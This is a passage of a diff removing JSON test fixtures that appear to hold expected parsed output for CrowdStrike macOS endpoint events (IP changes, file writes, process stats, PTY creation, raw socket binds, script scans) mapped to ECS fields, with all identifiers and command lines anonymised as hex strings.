-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "3bec845649acaaa1eb41d1ad4a804a38",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "LocalIpAddressIP4",
-            "observer": {
-                "address": [
-                    "81.2.69.192"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.192"
-                ],
-                "serial_number": "3bec845649acaaa1eb41d1ad4a804a38",
-                "version": "2c8b.4.b224e8a.4f"
-            },
-            "related": {
-                "hash": [
-                    "55043379"
-                ],
-                "ip": [
-                    "81.2.69.192",
-                    "81.2.69.142"
-                ]
-            },
-            "source": {
-                "address": "81.2.69.142",
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": "81.2.69.142",
-                "mac": "B9-55-B4-6E-3E-C8"
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "65043379",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "86",
-                "EventOrigin": "1",
-                "InterfaceIndex": 8,
-                "LocalAddressIP4": [
-                    "216.160.83.56"
-                ],
-                "LocalIpAddressPipelineSource": "6",
-                "NetLuidIndex": 0,
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "a885c0aff4e59afa62b4cfc45dd233f79546",
-                "name": "4a33a844314cf727f26cb81df45b9"
-            },
-            "device": {
-                "id": "3bec845649acaaa1eb41d1ad4a804a38"
-            },
-            "event": {
-                "action": "LocalIpAddressRemovedIP4",
-                "category": [
-                    "configuration",
-                    "host"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "a885c0aff4e59afa62b4cfc45dd233f79546|3bec845649acaaa1eb41d1ad4a804a38|4092825518eaf67377a6e4492ae44577",
-                "kind": "state",
-                "original": "{\"LocalAddressIP4\":\"216.160.83.56\",\"event_simpleName\":\"LocalIpAddressRemovedIP4\",\"ConfigStateHash\":\"65043379\",\"aip\":\"81.2.69.142\",\"InterfaceIndex\":\"8\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"NetLuidIndex\":\"0\",\"Entitlements\":\"86\",\"name\":\"4a33a844314cf727f26cb81df45b9\",\"EventOrigin\":\"1\",\"id\":\"a885c0aff4e59afa62b4cfc45dd233f79546\",\"LocalIpAddressPipelineSource\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"3bec845649acaaa1eb41d1ad4a804a38\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "3bec845649acaaa1eb41d1ad4a804a38",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "LocalIpAddressRemovedIP4",
-            "observer": {
-                "address": [
-                    "81.2.69.142"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "serial_number": "3bec845649acaaa1eb41d1ad4a804a38",
-                "version": "2c8b.4.b224e8a.4f"
-            },
-            "related": {
-                "hash": [
-                    "65043379"
-                ],
-                "ip": [
-                    "81.2.69.142",
-                    "216.160.83.56"
-                ]
-            },
-            "source": {
-                "address": "216.160.83.56",
-                "as": {
-                    "number": 209
-                },
-                "geo": {
-                    "city_name": "Milton",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 47.2513,
-                        "lon": -122.3149
-                    },
-                    "region_iso_code": "US-WA",
-                    "region_name": "Washington"
-                },
-                "ip": "216.160.83.56"
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "BoundingLimitCount": 10,
-                "BoundingLimitDuration": "4486640",
-                "ConfigStateHash": "25043379",
-                "ContextBaseFileName": "9a93b1357a69e905c9a",
-                "ContextProcessId": "704802000705084000",
-                "ContextTimeStamp": "2025-06-05T07:31:09.141Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "26",
-                "EventOrigin": "1",
-                "FileCategory": "6",
-                "IsOnRemovableDisk": "0",
-                "MachOSubType": "6",
-                "SHA256HashData": "2b364b472958e7471972b9439aa61e8381a54aa38875d77e0462cc7e91137b63",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "1a8f053397e4f0d36a740347ced0ee4eaad4",
-                "name": "1148999d786555f3e786e"
-            },
-            "device": {
-                "id": "9ea510e4d87c4988253c7355515a7081"
-            },
-            "event": {
-                "action": "MachOFileWritten",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "1a8f053397e4f0d36a740347ced0ee4eaad4|9ea510e4d87c4988253c7355515a7081|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"ContextBaseFileName\":\"9a93b1357a69e905c9a\",\"FileCategory\":\"6\",\"MachOSubType\":\"6\",\"Size\":\"3000605\",\"ContextThreadId\":\"0\",\"aip\":\"89.160.20.112\",\"BoundingLimitCount\":\"10\",\"FileIdentifier\":\"a66e33e0aa512356892598753df4b16fa84b3ed00e65ead9\",\"event_platform\":\"Mac\",\"EventOrigin\":\"1\",\"id\":\"1a8f053397e4f0d36a740347ced0ee4eaad4\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"MachOFileWritten\",\"ContextTimeStamp\":\"1749108669.141\",\"UserName\":\"4813\",\"ConfigStateHash\":\"25043379\",\"ContextProcessId\":\"704802000705084000\",\"SHA256HashData\":\"2b364b472958e7471972b9439aa61e8381a54aa38875d77e0462cc7e91137b63\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"IsOnRemovableDisk\":\"0\",\"BoundingLimitDuration\":\"4486640\",\"Entitlements\":\"26\",\"name\":\"1148999d786555f3e786e\",\"aid\":\"9ea510e4d87c4988253c7355515a7081\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"/dc20b3d/7ef6ff25/baab5e05/baab5e05.app/437aea62/cafd6b72/22ded4e2.framework/f89ea270/5/22ded4e2\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "file": {
-                "directory": "/dc20b3d/7ef6ff25/baab5e05/baab5e05.app/437aea62/cafd6b72/22ded4e2.framework/f89ea270/5",
-                "hash": {
-                    "sha256": "2b364b472958e7471972b9439aa61e8381a54aa38875d77e0462cc7e91137b63"
-                },
-                "inode": "a66e33e0aa512356892598753df4b16fa84b3ed00e65ead9",
-                "name": "22ded4e2",
-                "path": "/dc20b3d/7ef6ff25/baab5e05/baab5e05.app/437aea62/cafd6b72/22ded4e2.framework/f89ea270/5/22ded4e2",
-                "size": 3000605,
-                "type": "file"
-            },
-            "host": {
-                "id": "9ea510e4d87c4988253c7355515a7081",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "MachOFileWritten",
-            "observer": {
-                "address": [
-                    "89.160.20.112"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.112"
-                ],
-                "serial_number": "9ea510e4d87c4988253c7355515a7081",
-                "version": "2c8b.4.b224e8a.4f"
-            },
-            "process": {
-                "entity_id": "704802000705084000",
-                "name": "9a93b1357a69e905c9a",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "2b364b472958e7471972b9439aa61e8381a54aa38875d77e0462cc7e91137b63",
-                    "25043379"
-                ],
-                "ip": [
-                    "89.160.20.112"
-                ],
-                "user": [
-                    "4813"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "4813"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "BoundedCount": 4,
-                "ConfigStateHash": "75043379",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "16",
-                "EventOrigin": "45",
-                "ProcessCount": 5,
-                "SHA256HashData": "b9215572dbd02a4088d652c6b02996cbd84778f361b74bd790eed52d01163a5d",
-                "SuppressType": "2",
-                "Timeout": 284,
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "9b9091551ef260bfbe2fcbaa991fd216578d",
-                "name": "53731de338efc268aed79822"
-            },
-            "device": {
-                "id": "aff97f8b915352339afe79c5a16d76b3"
-            },
-            "event": {
-                "action": "ProcessRollup2Stats",
-                "category": [
-                    "process"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "9b9091551ef260bfbe2fcbaa991fd216578d|aff97f8b915352339afe79c5a16d76b3|4092825518eaf67377a6e4492ae44577",
-                "kind": "state",
-                "original": "{\"event_simpleName\":\"ProcessRollup2Stats\",\"ConfigStateHash\":\"75043379\",\"Timeout\":\"284\",\"ParentProcessId\":\"0\",\"aip\":\"81.2.69.142\",\"SuppressType\":\"2\",\"SHA256HashData\":\"b9215572dbd02a4088d652c6b02996cbd84778f361b74bd790eed52d01163a5d\",\"ProcessCount\":\"5\",\"BoundedCount\":\"4\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"UID\":\"60\",\"event_platform\":\"Mac\",\"CommandLine\":\"fc5353cb4801d9a102fce841618abe6fa84be2defb6649a078f21f228667ad8f -9 a0b52d20 -0 a5f99916883744114 -c 9c11c52b372e36e77b8fd37dd\",\"Entitlements\":\"16\",\"name\":\"53731de338efc268aed79822\",\"EventOrigin\":\"45\",\"id\":\"9b9091551ef260bfbe2fcbaa991fd216578d\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"aff97f8b915352339afe79c5a16d76b3\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "unknown",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "id": "aff97f8b915352339afe79c5a16d76b3",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "ProcessRollup2Stats",
-            "observer": {
-                "address": [
-                    "81.2.69.142"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "serial_number": "aff97f8b915352339afe79c5a16d76b3",
-                "version": "2c8b.4.b224e8a.4f"
-            },
-            "process": {
-                "args": [
-                    "fc5353cb4801d9a102fce841618abe6fa84be2defb6649a078f21f228667ad8f",
-                    "-9",
-                    "a0b52d20",
-                    "-0",
-                    "a5f99916883744114",
-                    "-c",
-                    "9c11c52b372e36e77b8fd37dd"
-                ],
-                "args_count": 7,
-                "command_line": "fc5353cb4801d9a102fce841618abe6fa84be2defb6649a078f21f228667ad8f -9 a0b52d20 -0 a5f99916883744114 -c 9c11c52b372e36e77b8fd37dd",
-                "hash": {
-                    "sha256": "b9215572dbd02a4088d652c6b02996cbd84778f361b74bd790eed52d01163a5d"
-                },
-                "parent": {
-                    "entity_id": "0"
-                }
-            },
-            "related": {
-                "hash": [
-                    "b9215572dbd02a4088d652c6b02996cbd84778f361b74bd790eed52d01163a5d",
-                    "75043379"
-                ],
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "user": [
-                    "60"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "60"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "85043379",
-                "ContextProcessId": "601020521600005482",
-                "ContextTimeStamp": "2025-05-30T16:00:09.371Z",
-                "DeviceId": "506006027",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "96",
-                "EventOrigin": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "1653ccad055c131c79fb49ce013cfa05fde1",
-                "name": "a3f9634e8f5cb2a"
-            },
-            "device": {
-                "id": "506006027"
-            },
-            "event": {
-                "action": "PtyCreated",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "1653ccad055c131c79fb49ce013cfa05fde1|0883f49bee1d86ce81176e6d89766adc|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"PtyCreated\",\"ContextTimeStamp\":\"1748620809.371\",\"ConfigStateHash\":\"85043379\",\"ContextProcessId\":\"601020521600005482\",\"DeviceId\":\"506006027\",\"ContextThreadId\":\"0\",\"aip\":\"89.160.20.112\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"CommandLine\":\"8fb203f170d167a8910bfee40bd5f67ab18c470b385a64208bb 7521ca220a8ae6027c0205ba2b01c82c ce793a a8f34ba10921c4 6b9396fe89508a308632dca4bb879ce31fc550496 48c7277892b8 0f5f4216848e1e3804905fdfdc7 916ab4f4edd7894df1edbf2c7a4608e50e5ee6b085e9dc406 b42ddbaecab521 dc2356cbcb5b9c79939eead1793ef5f85b215c311422f f68dd32e713737d9 44ac9316adc24687dbacafca20b954bcf3d33dcd4de a59c027bb0a7c05d76750e3de7f569a7758ace084 04ee11a4fa1078efa8abad229976f29bcd52d351f9 4b01829a2b8c908ab96d79a2b0e1d5acb806551 90ddec41d0051638b5073f6601dcaded1500ac90f4da0ad a59c73da5938ef c1d0c94a2886b6504e539132eced46a5866b1ea8b6372b50a86fcc984a7242a5 96b1d3ac35ab026db9ccc4c8614598a00e449f47c6eb2c49bfcc1e618eacc36e f965c005547d78aa493d5422ecf3b73e4a5cf0958292f6be67dd8a515adf2e97 315ef7be6a1848b2682301660\",\"ImageFileName\":\"/98e33b0f/2c014f.app/437aea62/cafd6b72/7a4c386a.app/437aea62/ba3cb/7a4c386a\",\"Entitlements\":\"96\",\"name\":\"a3f9634e8f5cb2a\",\"EventOrigin\":\"1\",\"id\":\"1653ccad055c131c79fb49ce013cfa05fde1\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"0883f49bee1d86ce81176e6d89766adc\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "host": {
-                "id": "0883f49bee1d86ce81176e6d89766adc",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "PtyCreated",
-            "observer": {
-                "address": [
-                    "89.160.20.112"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.112"
-                ],
-                "serial_number": "0883f49bee1d86ce81176e6d89766adc",
-                "version": "2c8b.4.b224e8a.4f"
-            },
-            "process": {
-                "args": [
-                    "8fb203f170d167a8910bfee40bd5f67ab18c470b385a64208bb",
-                    "7521ca220a8ae6027c0205ba2b01c82c",
-                    "ce793a",
-                    "a8f34ba10921c4",
-                    "6b9396fe89508a308632dca4bb879ce31fc550496",
-                    "48c7277892b8",
-                    "0f5f4216848e1e3804905fdfdc7",
-                    "916ab4f4edd7894df1edbf2c7a4608e50e5ee6b085e9dc406",
-                    "b42ddbaecab521",
-                    "dc2356cbcb5b9c79939eead1793ef5f85b215c311422f",
-                    "f68dd32e713737d9",
-                    "44ac9316adc24687dbacafca20b954bcf3d33dcd4de",
-                    "a59c027bb0a7c05d76750e3de7f569a7758ace084",
-                    "04ee11a4fa1078efa8abad229976f29bcd52d351f9",
-                    "4b01829a2b8c908ab96d79a2b0e1d5acb806551",
-                    "90ddec41d0051638b5073f6601dcaded1500ac90f4da0ad",
-                    "a59c73da5938ef",
-                    "c1d0c94a2886b6504e539132eced46a5866b1ea8b6372b50a86fcc984a7242a5",
-                    "96b1d3ac35ab026db9ccc4c8614598a00e449f47c6eb2c49bfcc1e618eacc36e",
-                    "f965c005547d78aa493d5422ecf3b73e4a5cf0958292f6be67dd8a515adf2e97",
-                    "315ef7be6a1848b2682301660"
-                ],
-                "args_count": 21,
-                "command_line": "8fb203f170d167a8910bfee40bd5f67ab18c470b385a64208bb 7521ca220a8ae6027c0205ba2b01c82c ce793a a8f34ba10921c4 6b9396fe89508a308632dca4bb879ce31fc550496 48c7277892b8 0f5f4216848e1e3804905fdfdc7 916ab4f4edd7894df1edbf2c7a4608e50e5ee6b085e9dc406 b42ddbaecab521 dc2356cbcb5b9c79939eead1793ef5f85b215c311422f f68dd32e713737d9 44ac9316adc24687dbacafca20b954bcf3d33dcd4de a59c027bb0a7c05d76750e3de7f569a7758ace084 04ee11a4fa1078efa8abad229976f29bcd52d351f9 4b01829a2b8c908ab96d79a2b0e1d5acb806551 90ddec41d0051638b5073f6601dcaded1500ac90f4da0ad a59c73da5938ef c1d0c94a2886b6504e539132eced46a5866b1ea8b6372b50a86fcc984a7242a5 96b1d3ac35ab026db9ccc4c8614598a00e449f47c6eb2c49bfcc1e618eacc36e f965c005547d78aa493d5422ecf3b73e4a5cf0958292f6be67dd8a515adf2e97 315ef7be6a1848b2682301660",
-                "entity_id": "601020521600005482",
-                "executable": "/98e33b0f/2c014f.app/437aea62/cafd6b72/7a4c386a.app/437aea62/ba3cb/7a4c386a",
-                "name": "7a4c386a",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "85043379"
-                ],
-                "ip": [
-                    "89.160.20.112"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "55043379",
-                "ConnectionFlags": "0",
-                "ContextProcessId": "148005106018043800",
-                "ContextTimeStamp": "2025-10-05T22:28:06.546Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "86",
-                "EventOrigin": "1",
-                "InContext": "0",
-                "LocalAddressIP4": [
-                    "81.2.69.144"
-                ],
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "c842b689fbd78207d195d8c17e3a04a000f6",
-                "name": "2552bb1c58ae3899"
-            },
-            "destination": {
-                "address": "89.160.20.128",
-                "as": {
-                    "number": 29518,
-                    "organization": {
-                        "name": "Bredband2 AB"
-                    }
-                },
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": "89.160.20.128",
-                "port": 260
-            },
-            "device": {
-                "id": "6de60f31dcfac7d0eac699802285aa4c"
-            },
-            "event": {
-                "action": "RawBindIP4",
-                "category": [
-                    "network"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "c842b689fbd78207d195d8c17e3a04a000f6|6de60f31dcfac7d0eac699802285aa4c|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"LocalAddressIP4\":\"81.2.69.144\",\"event_simpleName\":\"RawBindIP4\",\"ContextTimeStamp\":\"1759703286.546\",\"ConfigStateHash\":\"55043379\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"148005106018043800\",\"RemotePort\":\"260\",\"aip\":\"2a02:cf40::2\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"LocalPort\":\"260\",\"Entitlements\":\"86\",\"name\":\"2552bb1c58ae3899\",\"EventOrigin\":\"1\",\"id\":\"c842b689fbd78207d195d8c17e3a04a000f6\",\"Protocol\":\"45\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"6de60f31dcfac7d0eac699802285aa4c\",\"RemoteAddressIP4\":\"89.160.20.128\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "start",
-                    "connection"
-                ]
-            },
-            "host": {
-                "id": "6de60f31dcfac7d0eac699802285aa4c",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "RawBindIP4",
-            "network": {
-                "community_id": "1:4B7h9ITJ4/nPr0yxU/bsOi56RcI=",
-                "direction": "unknown",
-                "iana_number": "45"
-            },
-            "observer": {
-                "address": [
-                    "2a02:cf40::2"
-                ],
-                "geo": {
-                    "continent_name": "Europe",
-                    "country_iso_code": "NO",
-                    "country_name": "Norway",
-                    "location": {
-                        "lat": 62.0,
-                        "lon": 10.0
-                    }
-                },
-                "ip": [
-                    "2a02:cf40::2"
-                ],
-                "serial_number": "6de60f31dcfac7d0eac699802285aa4c",
-                "version": "2c8b.4.b224e8a.4f"
-            },
-            "process": {
-                "entity_id": "148005106018043800"
-            },
-            "related": {
-                "hash": [
-                    "55043379"
-                ],
-                "ip": [
-                    "2a02:cf40::2",
-                    "81.2.69.144",
-                    "89.160.20.128"
-                ]
-            },
-            "source": {
-                "address": "81.2.69.144",
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": "81.2.69.144",
-                "port": 260
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "75043379",
-                "ConnectionFlags": "0",
-                "ContextProcessId": "525000013203000905",
-                "ContextTimeStamp": "2025-10-19T12:00:04.560Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "26",
-                "EventOrigin": "1",
-                "InContext": "0",
-                "LocalAddressIP6": [
-                    "2a02:cf40::1"
-                ],
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "2d87ac61a22522847bc2143b50b4aac12858",
-                "name": "6be29847ad234f89"
-            },
-            "destination": {
-                "address": "2a02:cf40::1",
-                "geo": {
-                    "continent_name": "Europe",
-                    "country_iso_code": "NO",
-                    "country_name": "Norway",
-                    "location": {
-                        "lat": 62.0,
-                        "lon": 10.0
-                    }
-                },
-                "ip": "2a02:cf40::1",
-                "port": 60285
-            },
-            "device": {
-                "id": "bfae1ce346c864e642355116756472d6"
-            },
-            "event": {
-                "action": "RawBindIP6",
-                "category": [
-                    "network"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "2d87ac61a22522847bc2143b50b4aac12858|bfae1ce346c864e642355116756472d6|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"RawBindIP6\",\"ContextTimeStamp\":\"1760875204.560\",\"LocalAddressIP6\":\"2a02:cf40::1\",\"RemoteAddressIP6\":\"2a02:cf40::1\",\"ConfigStateHash\":\"75043379\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"525000013203000905\",\"RemotePort\":\"60285\",\"aip\":\"2a02:cf40::1\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"LocalPort\":\"28\",\"Entitlements\":\"26\",\"name\":\"6be29847ad234f89\",\"EventOrigin\":\"1\",\"id\":\"2d87ac61a22522847bc2143b50b4aac12858\",\"Protocol\":\"45\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"bfae1ce346c864e642355116756472d6\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "start",
-                    "connection"
-                ]
-            },
-            "host": {
-                "id": "bfae1ce346c864e642355116756472d6",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "RawBindIP6",
-            "network": {
-                "community_id": "1:wxOxAXZsC7GKYyc7uRbvS69m/yQ=",
-                "direction": "unknown",
-                "iana_number": "45"
-            },
-            "observer": {
-                "address": [
-                    "2a02:cf40::1"
-                ],
-                "geo": {
-                    "continent_name": "Europe",
-                    "country_iso_code": "NO",
-                    "country_name": "Norway",
-                    "location": {
-                        "lat": 62.0,
-                        "lon": 10.0
-                    }
-                },
-                "ip": [
-                    "2a02:cf40::1"
-                ],
-                "serial_number": "bfae1ce346c864e642355116756472d6",
-                "version": "2c8b.4.b224e8a.4f"
-            },
-            "process": {
-                "entity_id": "525000013203000905"
-            },
-            "related": {
-                "hash": [
-                    "75043379"
-                ],
-                "ip": [
-                    "2a02:cf40::1"
-                ]
-            },
-            "source": {
-                "address": "2a02:cf40::1",
-                "geo": {
-                    "continent_name": "Europe",
-                    "country_iso_code": "NO",
-                    "country_name": "Norway",
-                    "location": {
-                        "lat": 62.0,
-                        "lon": 10.0
-                    }
-                },
-                "ip": "2a02:cf40::1",
-                "port": 28
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "600000970",
-                "ContentSHA256HashData": "9d168f68bad9f1ef8371bab7c5d543e2fa0939b3dadb5aa7dd9b0ea8995a29f7",
-                "ContextProcessId": "516365064008244070",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "56",
-                "EventOrigin": "1",
-                "OriginalContentLength": "100",
-                "ScriptContent": "77bafa9 -0 ae17b9a73 3d0cf8 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c 4 ae17b9a73 0cf6 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c",
-                "ScriptContentName": "/51a/89",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "18d9d6cd7e98ee9ab79dffed0e5f9e3357b0",
-                "name": "0a1beccbcea40ac2468a3ee78b"
-            },
-            "device": {
-                "id": "c7fe43754f5b6ebfa566ef25e9ac6ecc"
-            },
-            "event": {
-                "action": "ScriptControlScanInfo",
-                "category": [
-                    "malware",
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "18d9d6cd7e98ee9ab79dffed0e5f9e3357b0|c7fe43754f5b6ebfa566ef25e9ac6ecc|4092825518eaf67377a6e4492ae44577",
-                "kind": "state",
-                "original": "{\"event_simpleName\":\"ScriptControlScanInfo\",\"ScriptContent\":\"77bafa9 -0 ae17b9a73 3d0cf8 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c 4 ae17b9a73 0cf6 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c\",\"ConfigStateHash\":\"600000970\",\"OriginalContentLength\":\"100\",\"ContextProcessId\":\"516365064008244070\",\"aip\":\"89.160.20.128\",\"ContentSHA256HashData\":\"9d168f68bad9f1ef8371bab7c5d543e2fa0939b3dadb5aa7dd9b0ea8995a29f7\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"ScriptContentName\":\"/51a/89\",\"Entitlements\":\"56\",\"name\":\"0a1beccbcea40ac2468a3ee78b\",\"EventOrigin\":\"1\",\"id\":\"18d9d6cd7e98ee9ab79dffed0e5f9e3357b0\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"c7fe43754f5b6ebfa566ef25e9ac6ecc\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "id": "c7fe43754f5b6ebfa566ef25e9ac6ecc",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "ScriptControlScanInfo",
-            "observer": {
-                "address": [
-                    "89.160.20.128"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.128"
-                ],
-                "serial_number": "c7fe43754f5b6ebfa566ef25e9ac6ecc",
-                "version": "2c8b.4.b224e8a.4f"
-            },
-            "process": {
-                "entity_id": "516365064008244070"
-            },
-            "related": {
-                "hash": [
-                    "600000970"
-                ],
-                "ip": [
-                    "89.160.20.128"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "35043379",
